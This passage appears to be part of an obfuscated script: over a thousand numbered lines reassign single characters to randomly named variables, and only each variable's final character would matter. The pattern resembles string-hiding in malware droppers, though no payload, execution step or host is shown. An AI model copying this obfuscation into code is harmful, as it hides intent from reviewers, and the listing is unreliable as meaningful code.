83	zthtanqgv = "V";
84	zthtanqgv = "F";
85	zthtanqgv = "X";
86	zthtanqgv = "M";
87	zthtanqgv = "K";
88	zthtanqgv = "W";
89	zthtanqgv = "a";
90	zthtanqgv = "e";
91	zthtanqgv = "D";
92	zthtanqgv = "l";
93	jjzxen = "z";
94	jjzxen = "k";
95	jjzxen = "C";
96	jjzxen = "E";
97	jjzxen = "a";
98	jjzxen = "W";
99	jjzxen = "S";
100	jjzxen = "a";
101	jjzxen = "s";
102	jjzxen = "s";
103	jjzxen = "i";
104	jjzxen = "T";
105	jjzxen = "f";
106	jjzxen = "x";
107	jjzxen = "P";
108	jjzxen = "L";
109	jjzxen = "L";
110	jjzxen = "m";
111	jjzxen = "q";
112	jjzxen = "v";
113	jjzxen = "X";
114	jjzxen = "S";
115	jjzxen = "J";
116	jjzxen = "t";
117	jjzxen = "F";
118	jjzxen = "e";
119	jjzxen = "V";
120	jjzxen = "M";
121	jjzxen = "P";
122	jjzxen = "P";
123	jjzxen = "h";
124	jjzxen = "H";
125	jjzxen = "l";
126	jjzxen = "p";
127	eghigghip = "h";
128	eghigghip = "F";
129	eghigghip = "s";
130	eghigghip = "U";
131	eghigghip = "C";
132	eghigghip = "S";
133	eghigghip = "f";
134	eghigghip = "f";
135	eghigghip = "u";
136	eghigghip = "b";
137	eghigghip = "k";
138	eghigghip = "P";
139	eghigghip = "Q";
140	eghigghip = "I";
141	eghigghip = "q";
142	eghigghip = "Y";
143	eghigghip = "l";
144	eghigghip = "M";
145	eghigghip = "y";
146	eghigghip = "o";
147	eghigghip = "W";
148	eghigghip = "h";
149	eghigghip = "x";
150	eghigghip = "M";
151	eghigghip = "R";
152	eghigghip = "I";
153	eghigghip = "h";
154	eghigghip = "G";
155	eghigghip = "L";
156	eghigghip = "T";
157	dipvmchh = "l";
158	dipvmchh = "W";
159	dipvmchh = "w";
160	dipvmchh = "B";
161	dipvmchh = "q";
162	dipvmchh = "f";
163	dipvmchh = "U";
164	dipvmchh = "f";
165	dipvmchh = "X";
166	dipvmchh = "L";
167	dipvmchh = "s";
168	dipvmchh = "F";
169	dipvmchh = "V";
170	dipvmchh = "p";
171	dipvmchh = "z";
172	dipvmchh = "q";
173	dipvmchh = "t";
174	dipvmchh = "V";
175	dipvmchh = "w";
176	dipvmchh = "n";
177	dipvmchh = "v";
178	dipvmchh = "Y";
179	dipvmchh = "N";
180	dipvmchh = "l";
181	dipvmchh = "c";
182	dipvmchh = "u";
183	dipvmchh = "j";
184	dipvmchh = "w";
185	dipvmchh = "r";
186	dipvmchh = "a";
187	dipvmchh = "9";
188	wyzeqrgi = "m";
189	wyzeqrgi = "v";
190	wyzeqrgi = "P";
191	wyzeqrgi = "i";
192	wyzeqrgi = "l";
193	wyzeqrgi = "k";
194	wyzeqrgi = "O";
195	wyzeqrgi = "f";
196	wyzeqrgi = "O";
197	wyzeqrgi = "u";
198	wyzeqrgi = "D";
199	wyzeqrgi = "M";
200	wyzeqrgi = "l";
201	wyzeqrgi = "N";
202	wyzeqrgi = "r";
203	wyzeqrgi = "l";
204	wyzeqrgi = "C";
205	wyzeqrgi = "J";
206	wyzeqrgi = "k";
207	wyzeqrgi = "A";
208	wyzeqrgi = "Y";
209	wyzeqrgi = "s";
210	wyzeqrgi = "E";
211	wyzeqrgi = "C";
212	wyzeqrgi = "D";
213	wyzeqrgi = "R";
214	wyzeqrgi = "a";
215	wyzeqrgi = "s";
216	wyzeqrgi = "c";
217	wyzeqrgi = "O";
218	pzzlk = "H";
219	pzzlk = "t";
220	pzzlk = "G";
221	pzzlk = "C";
222	pzzlk = "J";
223	pzzlk = "H";
224	pzzlk = "O";
225	pzzlk = "P";
226	pzzlk = "L";
227	pzzlk = "J";
228	pzzlk = "X";
229	pzzlk = "d";
230	cloimnfh = "k";
231	cloimnfh = "U";
232	cloimnfh = "B";
233	cloimnfh = "f";
234	cloimnfh = "B";
235	cloimnfh = "R";
236	cloimnfh = "d";
237	cloimnfh = "R";
238	cloimnfh = "j";
239	cloimnfh = "D";
240	cloimnfh = "u";
241	cloimnfh = "K";
242	cloimnfh = "V";
243	cloimnfh = "l";
244	cloimnfh = "H";
245	cloimnfh = "h";
246	cloimnfh = "f";
247	cloimnfh = "i";
248	cloimnfh = "j";
249	cloimnfh = "h";
250	cloimnfh = "I";
251	cloimnfh = "j";
252	cloimnfh = "r";
253	ktzbt = "p";
254	ktzbt = "u";
255	ktzbt = "Z";
256	ktzbt = "X";
257	ktzbt = "U";
258	ktzbt = "B";
259	ktzbt = "v";
260	ktzbt = "G";
261	ktzbt = "D";
262	ktzbt = "s";
263	ktzbt = "J";
264	ktzbt = "S";
265	ktzbt = "b";
266	ktzbt = "x";
267	ktzbt = "x";
268	ktzbt = "k";
269	ktzbt = "H";
270	ktzbt = "y";
271	ktzbt = "K";
272	ktzbt = "G";
273	ktzbt = "x";
274	ktzbt = "r";
275	ktzbt = "x";
276	ktzbt = "K";
277	ktzbt = "N";
278	ktzbt = "C";
279	rmocnpsy = "V";
280	rmocnpsy = "d";
281	rmocnpsy = "P";
282	rmocnpsy = "f";
283	rmocnpsy = "o";
284	rmocnpsy = "T";
285	rmocnpsy = "R";
286	rmocnpsy = "c";
287	hpayf = "F";
288	hpayf = "s";
289	hpayf = "F";
290	hpayf = "M";
291	hpayf = "q";
292	hpayf = "I";
293	hpayf = "x";
294	hpayf = "j";
295	hpayf = "k";
296	hpayf = "i";
297	hpayf = "t";
298	vlkjeasp = "v";
299	vlkjeasp = "I";
300	vlkjeasp = "f";
301	vlkjeasp = "s";
302	vlkjeasp = "b";
303	vlkjeasp = "y";
304	vlkjeasp = "b";
305	vlkjeasp = "U";
306	vlkjeasp = "h";
307	vlkjeasp = "b";
308	vlkjeasp = "b";
309	vlkjeasp = "N";
310	vlkjeasp = "H";
311	vlkjeasp = "M";
312	vlkjeasp = "l";
313	vlkjeasp = "F";
314	vlkjeasp = "g";
315	vlkjeasp = "W";
316	vlkjeasp = "o";
317	vlkjeasp = "h";
318	vlkjeasp = "X";
319	vlkjeasp = "J";
320	vlkjeasp = "K";
321	vlkjeasp = "t";
322	vlkjeasp = "S";
323	vlkjeasp = "d";
324	vlkjeasp = "e";
325	vlkjeasp = "g";
326	envlxpw = "J";
327	envlxpw = "M";
328	envlxpw = "M";
329	envlxpw = "u";
330	envlxpw = "b";
331	envlxpw = "i";
332	envlxpw = "v";
333	envlxpw = "O";
334	envlxpw = "i";
335	envlxpw = "q";
336	envlxpw = "I";
337	envlxpw = "j";
338	envlxpw = "x";
339	keuobbypg = "G";
340	keuobbypg = "P";
341	keuobbypg = "X";
342	keuobbypg = "T";
343	keuobbypg = "b";
344	keuobbypg = "S";
345	keuobbypg = "T";
346	keuobbypg = "D";
347	keuobbypg = "d";
348	keuobbypg = "e";
349	keuobbypg = "K";
350	keuobbypg = "w";
351	keuobbypg = "M";
352	keuobbypg = "G";
353	keuobbypg = "j";
354	keuobbypg = "v";
355	keuobbypg = "J";
356	keuobbypg = "q";
357	keuobbypg = "j";
358	keuobbypg = "X";
359	keuobbypg = "D";
360	keuobbypg = "C";
361	keuobbypg = "U";
362	keuobbypg = "j";
363	keuobbypg = "U";
364	keuobbypg = "C";
365	keuobbypg = "q";
366	keuobbypg = "M";
367	keuobbypg = "R";
368	keuobbypg = "R";
369	keuobbypg = "d";
370	keuobbypg = "d";
371	keuobbypg = "a";
372	keuobbypg = "P";
373	keuobbypg = "F";
374	keuobbypg = "X";
375	keuobbypg = "u";
376	keuobbypg = "H";
377	keuobbypg = "u";
378	keuobbypg = "C";
379	keuobbypg = "Q";
380	keuobbypg = "m";
381	gznvfrnds = "O";
382	gznvfrnds = "v";
383	gznvfrnds = "X";
384	gznvfrnds = "l";
385	gznvfrnds = "i";
386	gznvfrnds = "m";
387	gznvfrnds = "i";
388	gznvfrnds = "r";
389	gznvfrnds = "O";
390	gznvfrnds = "F";
391	gznvfrnds = "L";
392	gznvfrnds = "W";
393	gznvfrnds = "C";
394	gznvfrnds = "z";
395	gznvfrnds = "I";
396	gznvfrnds = "a";
397	gznvfrnds = "W";
398	gznvfrnds = "\\";
399	vgxpzkdv = "k";
400	vgxpzkdv = "w";
401	vgxpzkdv = "v";
402	vgxpzkdv = "z";
403	vgxpzkdv = "S";
404	vgxpzkdv = "r";
405	vgxpzkdv = "P";
406	vgxpzkdv = "n";
407	vgxpzkdv = "p";
408	vgxpzkdv = "o";
409	vgxpzkdv = "b";
410	vgxpzkdv = "n";
411	vgxpzkdv = "p";
412	vgxpzkdv = "h";
413	vgxpzkdv = "Z";
414	vgxpzkdv = "V";
415	vgxpzkdv = "N";
416	vgxpzkdv = "k";
417	vgxpzkdv = "q";
418	vgxpzkdv = "H";
419	vgxpzkdv = "w";
420	vgxpzkdv = "m";
421	vgxpzkdv = "h";
422	vgxpzkdv = "M";
423	vgxpzkdv = "n";
424	vgxpzkdv = "o";
425	vgxpzkdv = "c";
426	vgxpzkdv = "n";
427	vgxpzkdv = "K";
428	racwfov = "f";
429	racwfov = "j";
430	racwfov = "x";
431	racwfov = "d";
432	racwfov = "w";
433	racwfov = "X";
434	racwfov = "e";
435	wzbbb = "s";
436	wzbbb = "x";
437	wzbbb = "d";
438	wzbbb = "l";
439	wzbbb = "v";
440	wzbbb = "K";
441	wzbbb = "X";
442	wzbbb = "g";
443	wzbbb = "s";
444	wzbbb = "m";
445	wzbbb = "o";
446	wzbbb = "X";
447	wzbbb = "L";
448	wzbbb = "Y";
449	wzbbb = "Q";
450	wzbbb = "w";
451	wzbbb = "q";
452	wzbbb = "N";
453	wzbbb = "w";
454	wzbbb = "g";
455	wzbbb = "u";
456	wzbbb = "O";
457	wzbbb = "W";
458	wzbbb = "c";
459	wzbbb = "Q";
460	wzbbb = "K";
461	wzbbb = "M";
462	wzbbb = "S";
463	egxiok = "N";
464	afuft = "W";
465	afuft = "k";
466	afuft = "N";
467	afuft = "b";
468	afuft = "L";
469	afuft = "L";
470	afuft = "I";
471	afuft = "N";
472	afuft = "u";
473	afuft = "R";
474	afuft = "u";
475	afuft = "v";
476	afuft = "O";
477	afuft = "H";
478	afuft = "s";
479	afuft = "h";
480	afuft = "X";
481	afuft = "M";
482	afuft = ".";
483	tbysyo = "z";
484	tbysyo = "a";
485	tbysyo = "s";
486	tbysyo = "K";
487	tbysyo = "Y";
488	tbysyo = "a";
489	tbysyo = "c";
490	tbysyo = "F";
491	tbysyo = "u";
492	tbysyo = "v";
493	tbysyo = "X";
494	tbysyo = "g";
495	tbysyo = "b";
496	tbysyo = "j";
497	tbysyo = "O";
498	tbysyo = "j";
499	tbysyo = "F";
500	tbysyo = "N";
501	tbysyo = "x";
502	tbysyo = "i";
503	tbysyo = "V";
504	tbysyo = "Z";
505	tbysyo = "r";
506	tbysyo = "i";
507	tbysyo = "E";
508	tbysyo = "p";
509	tbysyo = "G";
510	tbysyo = "W";
511	tbysyo = "U";
512	tbysyo = "x";
513	tbysyo = "w";
514	tbysyo = "g";
515	tbysyo = "I";
516	tbysyo = "t";
517	tbysyo = "G";
518	tbysyo = "h";
519	tbysyo = "W";
520	tbysyo = "n";
521	tbysyo = "g";
522	tbysyo = "W";
523	tbysyo = "E";
524	tbysyo = "a";
525	tbysyo = "1";
526	eorpi = "k";
527	eorpi = "m";
528	eorpi = "C";
529	eorpi = "N";
530	eorpi = "s";
531	eorpi = "T";
532	eorpi = "d";
533	eorpi = "E";
534	quwojoh = "o";
535	quwojoh = "H";
536	quwojoh = "Z";
537	quwojoh = "D";
538	quwojoh = "e";
539	quwojoh = "T";
540	quwojoh = "x";
541	quwojoh = "T";
542	quwojoh = "U";
543	kokmf = "h";
544	kokmf = "f";
545	kokmf = "A";
546	kokmf = "U";
547	kokmf = "P";
548	kokmf = "s";
549	kokmf = "g";
550	kokmf = "K";
551	kokmf = "Q";
552	kokmf = "Y";
553	kokmf = "a";
554	kokmf = "P";
555	kokmf = "Y";
556	kokmf = "f";
557	pvfmxtwm = "l";
558	pvfmxtwm = "h";
559	pvfmxtwm = "a";
560	pvfmxtwm = "N";
561	pvfmxtwm = "h";
562	pvfmxtwm = "W";
563	pvfmxtwm = "H";
564	pvfmxtwm = "v";
565	pvfmxtwm = "t";
566	pvfmxtwm = "N";
567	pvfmxtwm = "f";
568	pvfmxtwm = "g";
569	pvfmxtwm = "k";
570	pvfmxtwm = "G";
571	pvfmxtwm = "T";
572	pvfmxtwm = "e";
573	pvfmxtwm = "O";
574	pvfmxtwm = "o";
575	pvfmxtwm = "i";
576	pvfmxtwm = "k";
577	pvfmxtwm = "E";
578	pvfmxtwm = "p";
579	pvfmxtwm = "u";
580	zkaqxxpfe = "h";
581	zkaqxxpfe = "G";
582	zkaqxxpfe = "5";
583	rejokg = "w";
584	rejokg = "F";
585	rejokg = "N";
586	rejokg = "W";
587	xzlqrsa = "R";
588	xzlqrsa = "o";
589	xzlqrsa = "w";
590	xzlqrsa = "w";
591	xzlqrsa = "C";
592	xzlqrsa = "A";
593	xzlqrsa = "p";
594	xzlqrsa = "e";
595	xzlqrsa = "y";
596	xzlqrsa = "T";
597	xzlqrsa = "X";
598	xzlqrsa = "F";
599	xzlqrsa = "T";
600	xzlqrsa = "K";
601	xzlqrsa = "f";
602	xzlqrsa = "I";
603	xzlqrsa = "o";
604	xzlqrsa = "V";
605	xzlqrsa = "S";
606	xzlqrsa = "b";
607	xzlqrsa = "S";
608	xzlqrsa = "q";
609	xzlqrsa = "S";
610	xzlqrsa = "D";
611	xzlqrsa = "D";
612	xzlqrsa = "b";
613	xzlqrsa = "q";
614	xzlqrsa = "C";
615	xzlqrsa = "F";
616	xzlqrsa = "d";
617	xzlqrsa = "A";
618	xzlqrsa = "M";
619	xzlqrsa = "x";
620	xzlqrsa = "Y";
621	xzlqrsa = "P";
622	xzlqrsa = "J";
623	xzlqrsa = "s";
624	xzlqrsa = "m";
625	xzlqrsa = "q";
626	xzlqrsa = "o";
627	xzlqrsa = "s";
628	xzlqrsa = "Z";
629	xzlqrsa = "J";
630	xzlqrsa = "Q";
631	xzlqrsa = "k";
632	tiworl = "l";
633	tiworl = "r";
634	tiworl = "o";
635	tiworl = "N";
636	tiworl = "k";
637	tiworl = "C";
638	tiworl = "Q";
639	tiworl = "Z";
640	tiworl = "N";
641	tiworl = "I";
642	tiworl = "V";
643	tiworl = "B";
644	tiworl = "n";
645	tiworl = "m";
646	tiworl = "L";
647	tiworl = "j";
648	tiworl = "B";
649	tiworl = "l";
650	tiworl = "k";
651	tiworl = "a";
652	ktgoncdzb = "l";
653	ktgoncdzb = "Q";
654	ktgoncdzb = "T";
655	ktgoncdzb = "X";
656	ktgoncdzb = "D";
657	ktgoncdzb = "I";
658	ktgoncdzb = "b";
659	ktgoncdzb = "W";
660	ktgoncdzb = "t";
661	ktgoncdzb = "f";
662	ktgoncdzb = "u";
663	ktgoncdzb = "h";
664	ktgoncdzb = "U";
665	ktgoncdzb = "N";
666	ktgoncdzb = "l";
667	ktgoncdzb = "F";
668	ktgoncdzb = "n";
669	ktgoncdzb = "P";
670	ktgoncdzb = "U";
671	ktgoncdzb = "H";
672	ktgoncdzb = "W";
673	ktgoncdzb = "G";
674	ktgoncdzb = "z";
675	ktgoncdzb = "S";
676	ktgoncdzb = "d";
677	ktgoncdzb = "e";
678	ktgoncdzb = "t";
679	ktgoncdzb = "g";
680	ktgoncdzb = "E";
681	ktgoncdzb = "j";
682	ktgoncdzb = "K";
683	ktgoncdzb = "y";
684	ktgoncdzb = "S";
685	ktgoncdzb = "T";
686	ktgoncdzb = "t";
687	ktgoncdzb = "8";
688	ilqevpqh = "&";
689	ofblknta = "Q";
690	ofblknta = "u";
691	ofblknta = "G";
692	ofblknta = "h";
693	ofblknta = "e";
694	ofblknta = "H";
695	ofblknta = "Q";
696	ofblknta = "m";
697	ofblknta = "b";
698	ofblknta = "a";
699	ofblknta = "J";
700	ofblknta = "d";
701	ofblknta = "a";
702	ofblknta = "e";
703	ofblknta = "S";
704	ofblknta = "x";
705	ofblknta = "A";
706	ofblknta = "l";
707	ofblknta = "g";
708	ofblknta = "Z";
709	ofblknta = "x";
710	ofblknta = "d";
711	ofblknta = "T";
712	ofblknta = "E";
713	ofblknta = "N";
714	ofblknta = "M";
715	ofblknta = "b";
716	ofblknta = "e";
717	ofblknta = "c";
718	ofblknta = "B";
719	ofblknta = "Y";
720	ofblknta = "Q";
721	ofblknta = "Q";
722	ofblknta = "y";
723	ofblknta = "H";
724	ofblknta = "K";
725	ofblknta = "L";
726	ofblknta = "A";
727	ofblknta = "c";
728	ofblknta = "O";
729	ofblknta = "q";
730	ofblknta = "K";
731	ofblknta = "H";
732	tcjumrdav = "b";
733	tcjumrdav = "G";
734	tcjumrdav = "Q";
735	tcjumrdav = "t";
736	tcjumrdav = "b";
737	tcjumrdav = "y";
738	tcjumrdav = "L";
739	tcjumrdav = "V";
740	tcjumrdav = "E";
741	tcjumrdav = "S";
742	tcjumrdav = "e";
743	tcjumrdav = "G";
744	tcjumrdav = "G";
745	tcjumrdav = "w";
746	tcjumrdav = "b";
747	tcjumrdav = "m";
748	tcjumrdav = "g";
749	tcjumrdav = "r";
750	tcjumrdav = "p";
751	tcjumrdav = "P";
752	tcjumrdav = "e";
753	tcjumrdav = "h";
754	tcjumrdav = "R";
755	tcjumrdav = "e";
756	tcjumrdav = "l";
757	tcjumrdav = "Y";
758	tcjumrdav = "U";
759	tcjumrdav = "G";
760	tcjumrdav = "G";
761	tcjumrdav = "o";
762	tcjumrdav = "B";
763	tcjumrdav = "Z";
764	tcjumrdav = "2";
765	libbkd = "N";
766	libbkd = "e";
767	libbkd = "b";
768	libbkd = "C";
769	libbkd = "b";
770	libbkd = "L";
771	libbkd = "j";
772	kzijq = "x";
773	kzijq = "d";
774	kzijq = "i";
775	kzijq = "C";
776	kzijq = "G";
777	kzijq = "c";
778	kzijq = "r";
779	kzijq = "e";
780	kzijq = "U";
781	kzijq = "U";
782	kzijq = "Y";
783	kzijq = "p";
784	kzijq = "t";
785	kzijq = "Y";
786	kzijq = "k";
787	kzijq = "w";
788	kzijq = "j";
789	kzijq = "b";
790	kzijq = "S";
791	kzijq = "G";
792	kzijq = "L";
793	kzijq = "f";
794	kzijq = "G";
795	kzijq = "k";
796	kzijq = "e";
797	kzijq = "W";
798	kzijq = "v";
799	kzijq = "A";
800	kzijq = "x";
801	kzijq = "v";
802	kzijq = "t";
803	kzijq = "-";
804	ceutdb = "Y";
805	ceutdb = "r";
806	ceutdb = "u";
807	ceutdb = "E";
808	ceutdb = "E";
809	ceutdb = "H";
810	ceutdb = "l";
811	ceutdb = "u";
812	ceutdb = "L";
813	ceutdb = "Q";
814	ceutdb = "z";
815	ceutdb = "G";
816	ceutdb = "m";
817	ceutdb = "x";
818	ceutdb = "7";
819	vezfrom = "j";
820	vezfrom = "c";
821	vezfrom = "L";
822	vezfrom = "g";
823	vezfrom = "w";
824	vezfrom = "U";
825	vezfrom = "E";
826	vezfrom = "p";
827	vezfrom = "p";
828	vezfrom = "h";
829	vezfrom = "H";
830	vezfrom = "v";
831	vezfrom = "R";
832	vezfrom = "r";
833	vezfrom = "R";
834	vezfrom = "m";
835	vezfrom = "V";
836	vezfrom = ":";
837	zqvfosww = "E";
838	zqvfosww = "K";
839	zqvfosww = "s";
840	zqvfosww = "G";
841	zqvfosww = "e";
842	zqvfosww = "R";
843	zqvfosww = "e";
844	zqvfosww = "C";
845	zqvfosww = "a";
846	zqvfosww = "4";
847	ifstae = "q";
848	ifstae = "o";
849	piflyeks = "j";
850	piflyeks = "M";
851	piflyeks = "c";
852	piflyeks = "b";
853	qhkfka = "p";
854	qhkfka = "h";
855	qhkfka = "S";
856	qhkfka = "T";
857	qhkfka = "v";
858	qhkfka = "N";
859	qhkfka = "Y";
860	qhkfka = "J";
861	qhkfka = "r";
862	qhkfka = "N";
863	qhkfka = "T";
864	qhkfka = "D";
865	qhkfka = "u";
866	qhkfka = "m";
867	qhkfka = "z";
868	qhkfka = "H";
869	qhkfka = "O";
870	qhkfka = "K";
871	qhkfka = "g";
872	qhkfka = "F";
873	qhkfka = "w";
874	qhkfka = "h";
875	coqhklg = "A";
876	coqhklg = "H";
877	coqhklg = "t";
878	coqhklg = "p";
879	coqhklg = "%";
880	tmplz = "e";
881	tmplz = "P";
882	tmplz = "Z";
883	tmplz = "I";
884	tmplz = "m";
885	tmplz = "v";
886	tmplz = "G";
887	tmplz = "q";
888	tmplz = "x";
889	tmplz = "C";
890	tmplz = "C";
891	tmplz = "z";
892	tmplz = "I";
893	tmplz = "A";
894	tmplz = "t";
895	tmplz = "h";
896	tmplz = "t";
897	tmplz = "w";
898	tmplz = "u";
899	tmplz = "l";
900	tmplz = "s";
901	tmplz = "B";
902	tmplz = "P";
903	tmplz = "l";
904	tmplz = "D";
905	tmplz = "v";
906	tmplz = "J";
907	tmplz = "6";
908	tjocwtho = "j";
909	tjocwtho = "r";
910	tjocwtho = "W";
911	tjocwtho = "q";
912	tjocwtho = "E";
913	tjocwtho = "j";
914	tjocwtho = "x";
915	tjocwtho = "m";
916	tjocwtho = "x";
917	tjocwtho = "W";
918	tjocwtho = "Z";
919	tjocwtho = "X";
920	tjocwtho = "I";
921	tjocwtho = "M";
922	tjocwtho = "W";
923	tjocwtho = "F";
924	tjocwtho = "U";
925	tjocwtho = "P";
926	tjocwtho = "D";
927	tjocwtho = "a";
928	tjocwtho = "c";
929	tjocwtho = "F";
930	tjocwtho = "A";
931	tjocwtho = "W";
932	tjocwtho = "f";
933	tjocwtho = "F";
934	tjocwtho = "d";
935	tjocwtho = "I";
936	tjocwtho = "f";
937	tjocwtho = "v";
938	tjocwtho = "A";
939	tjocwtho = "G";
940	tjocwtho = "u";
941	tjocwtho = "U";
942	tjocwtho = "M";
943	tjocwtho = "c";
944	tjocwtho = "g";
945	tjocwtho = "I";
946	tjocwtho = "p";
947	tjocwtho = "O";
948	tjocwtho = "q";
949	tjocwtho = "i";
950	xisfmcchw = "q";
951	xisfmcchw = "G";
952	xisfmcchw = "H";
953	xisfmcchw = "C";
954	xisfmcchw = "b";
955	xisfmcchw = "f";
956	xisfmcchw = "z";
957	xisfmcchw = "g";
958	xisfmcchw = "I";
959	xisfmcchw = "A";
960	xisfmcchw = "I";
961	xisfmcchw = "i";
962	xisfmcchw = "h";
963	xisfmcchw = "W";
964	xisfmcchw = "U";
965	xisfmcchw = "w";
966	xisfmcchw = "Y";
967	xisfmcchw = "A";
968	xisfmcchw = "z";
969	xisfmcchw = "M";
970	xisfmcchw = "T";
971	xisfmcchw = " ";
972	xkrvodjbb = "D";
973	xkrvodjbb = "X";
974	xkrvodjbb = "g";
975	xkrvodjbb = "t";
976	xkrvodjbb = "V";
977	xkrvodjbb = "Z";
978	xkrvodjbb = "w";
979	xkrvodjbb = "Z";
980	xkrvodjbb = "X";
981	xkrvodjbb = "O";
982	xkrvodjbb = "c";
983	xkrvodjbb = "b";
984	xkrvodjbb = "o";
985	xkrvodjbb = "z";
986	xkrvodjbb = "h";
987	xkrvodjbb = "d";
988	xkrvodjbb = "o";
989	xkrvodjbb = "s";
990	xkrvodjbb = "L";
991	xkrvodjbb = "C";
992	xkrvodjbb = "j";
993	xkrvodjbb = "f";
994	xkrvodjbb = "y";
995	xkrvodjbb = "g";
996	xkrvodjbb = "X";
997	xkrvodjbb = "Y";
998	xkrvodjbb = "K";
999	xkrvodjbb = "E";
1000	xkrvodjbb = "G";
1001	xkrvodjbb = "b";
1002	xkrvodjbb = "b";
1003	xkrvodjbb = "Y";
1004	xkrvodjbb = "m";
1005	xkrvodjbb = "o";
1006	xkrvodjbb = "e";
1007	xkrvodjbb = "F";
1008	xkrvodjbb = "S";
1009	xkrvodjbb = "w";
1010	xkrvodjbb = "o";
1011	xkrvodjbb = "y";
1012	xkrvodjbb = "g";
1013	xkrvodjbb = "Q";
1014	xkrvodjbb = "K";
1015	xkrvodjbb = "O";
1016	xkrvodjbb = "F";
1017	htrcxenpx = "v";
1018	htrcxenpx = "O";
1019	htrcxenpx = "V";
1020	htrcxenpx = "N";
1021	htrcxenpx = "o";
1022	htrcxenpx = "H";
1023	htrcxenpx = "j";
1024	htrcxenpx = "q";
1025	htrcxenpx = "c";
1026	htrcxenpx = "q";
1027	htrcxenpx = "y";
1028	htrcxenpx = "C";
1029	htrcxenpx = "A";
1030	htrcxenpx = "L";
1031	htrcxenpx = "i";
1032	htrcxenpx = "S";
1033	htrcxenpx = "u";
1034	htrcxenpx = "p";
1035	htrcxenpx = "r";
1036	htrcxenpx = "q";
1037	htrcxenpx = "q";
1038	htrcxenpx = "F";
1039	htrcxenpx = "g";
1040	htrcxenpx = "E";
1041	htrcxenpx = "t";
1042	htrcxenpx = "x";
1043	htrcxenpx = "e";
1044	htrcxenpx = "z";
1045	htrcxenpx = "p";
1046	htrcxenpx = "G";
1047	htrcxenpx = "H";
1048	htrcxenpx = "@";
1049	bmvfu = "u";
1050	bmvfu = "P";
1051	bmvfu = "f";
1052	bmvfu = "v";
1053	bmvfu = "R";
1054	bmvfu = "V";
1055	bmvfu = "B";
1056	bmvfu = "g";
1057	bmvfu = "M";
1058	bmvfu = "I";
1059	bmvfu = "C";
1060	bmvfu = "w";
1061	bmvfu = "V";
1062	bmvfu = "t";
1063	bmvfu = "L";
1064	bmvfu = "S";
1065	bmvfu = "a";
1066	bmvfu = "x";
1067	bmvfu = "G";
1068	bmvfu = "H";
1069	bmvfu = "K";
1070	bmvfu = "q";
1071	bmvfu = "o";
1072	bmvfu = "i";
1073	bmvfu = "z";
1074	bmvfu = "r";
1075	bmvfu = "p";
1076	bmvfu = "u";
1077	bmvfu = "O";
1078	bmvfu = "p";
1079	bmvfu = "A";
1080	bmvfu = "o";
1081	bmvfu = "H";
1082	bmvfu = "z";
1083	bmvfu = "P";
1084	xspzj = "A";
1085	xspzj = "h";
1086	xspzj = "p";
1087	xspzj = "c";
1088	xspzj = "W";
1089	xspzj = "O";
1090	xspzj = "w";
1091	xspzj = "J";
1092	xspzj = "c";
1093	xspzj = "X";
1094	xspzj = "k";
1095	xspzj = "s";
1096	xspzj = "r";
1097	xspzj = "Y";
1098	xspzj = "b";
1099	xspzj = "I";
1100	xspzj = "E";
1101	xspzj = "Q";
1102	xspzj = "y";
1103	xspzj = "q";
1104	xspzj = "j";
1105	xspzj = "I";
1106	xnnwrf = "y";
1107	xnnwrf = "t";
1108	xnnwrf = "M";
1109	xnnwrf = "c";
1110	xnnwrf = "s";
1111	xnnwrf = "j";
1112	xnnwrf = "R";
1113	xnnwrf = "h";
1114	xnnwrf = "f";
1115	xnnwrf = "O";
1116	xnnwrf = "w";
1117	xnnwrf = "y";
1118	xnnwrf = "i";
1119	xnnwrf = "O";
1120	xnnwrf = "T";
1121	xnnwrf = "G";
1122	xnnwrf = "c";
1123	xnnwrf = "V";
1124	xnnwrf = "e";
1125	xnnwrf = "n";
1126	xnnwrf = "l";
1127	xnnwrf = "H";
1128	xnnwrf = "Y";
1129	xnnwrf = "G";
1130	xnnwrf = "w";
1131	xnnwrf = "r";
1132	xnnwrf = "b";
1133	xnnwrf = "o";
1134	xnnwrf = "\"";
1135	maqjv = "T";
1136	maqjv = "g";
1137	maqjv = "p";
1138	maqjv = "w";
1139	maqjv = "r";
1140	maqjv = "i";
1141	maqjv = "n";
1142	maqjv = "F";
1143	maqjv = "a";
1144	maqjv = "T";
1145	maqjv = "B";
1146	maqjv = "g";
1147	maqjv = "h";
1148	maqjv = "j";
1149	maqjv = "w";
1150	maqjv = "i";
1151	maqjv = "V";
1152	maqjv = "y";
1153	maqjv = "x";
1154	maqjv = "Q";
1155	maqjv = "t";
1156	maqjv = "f";
1157	maqjv = "c";
1158	maqjv = "l";
1159	maqjv = "G";
1160	maqjv = "M";
1161	maqjv = "q";
1162	maqjv = "n";
1163	maqjv = "t";
1164	maqjv = "w";
1165	maqjv = "D";
1166	maqjv = "j";
1167	maqjv = "Q";
1168	maqjv = "W";
1169	maqjv = "B";
1170	maqjv = "O";
1171	maqjv = "e";
1172	maqjv = "i";
1173	maqjv = "S";
1174	maqjv = "_";
1175	pbezep = "s";
1176	pbezep = "v";
1177	pbezep = "i";
1178	pbezep = "X";
1179	pbezep = "Z";
1180	pbezep = "S";
1181	pbezep = "k";
1182	pbezep = "L";
1183	pbezep = "R";
1184	pbezep = "k";
1185	pbezep = "I";
1186	pbezep = "g";
1187	pbezep = "M";
1188	pbezep = "m";
1189	pbezep = "E";
1190	pbezep = "O";
1191	pbezep = "U";
1192	pbezep = "v";
1193	nkmngf = "p";
1194	nkmngf = "j";
1195	nkmngf = "c";
1196	nkmngf = "m";
1197	nkmngf = "R";
1198	nkmngf = "a";
1199	nkmngf = "m";
1200	nkmngf = "Y";
1201	nkmngf = "I";
1202	nkmngf = "p";
1203	nkmngf = "G";
1204	nkmngf = "y";
1205	nkmngf = "q";
1206	nkmngf = "j";
1207	nkmngf = "c";
1208	nkmngf = "n";
1209	nkmngf = "y";
1210	nkmngf = "S";
1211	nkmngf = "C";
1212	nkmngf = "v";
1213	nkmngf = "K";
1214	nkmngf = "p";
1215	nkmngf = "u";
1216	nkmngf = "e";
1217	nkmngf = "Z";
1218	nkmngf = "w";
1219	nkmngf = "i";
1220	nkmngf = "o";
1221	nkmngf = "c";
1222	nkmngf = "T";
1223	nkmngf = "S";
1224	nkmngf = "x";
1225	nkmngf = "P";
1226	nkmngf = "M";
1227	nkmngf = "B";
1228	nkmngf = "d";
1229	nkmngf = "d";
1230	nkmngf = "J";
1231	nkmngf = "M";
1232	nkmngf = "S";
1233	nkmngf = "j";
1234	nkmngf = "l";
1235	nkmngf = "b";
1236	nkmngf = "/";
1237	pqlooxbi = "F";
1238	pqlooxbi = "T";
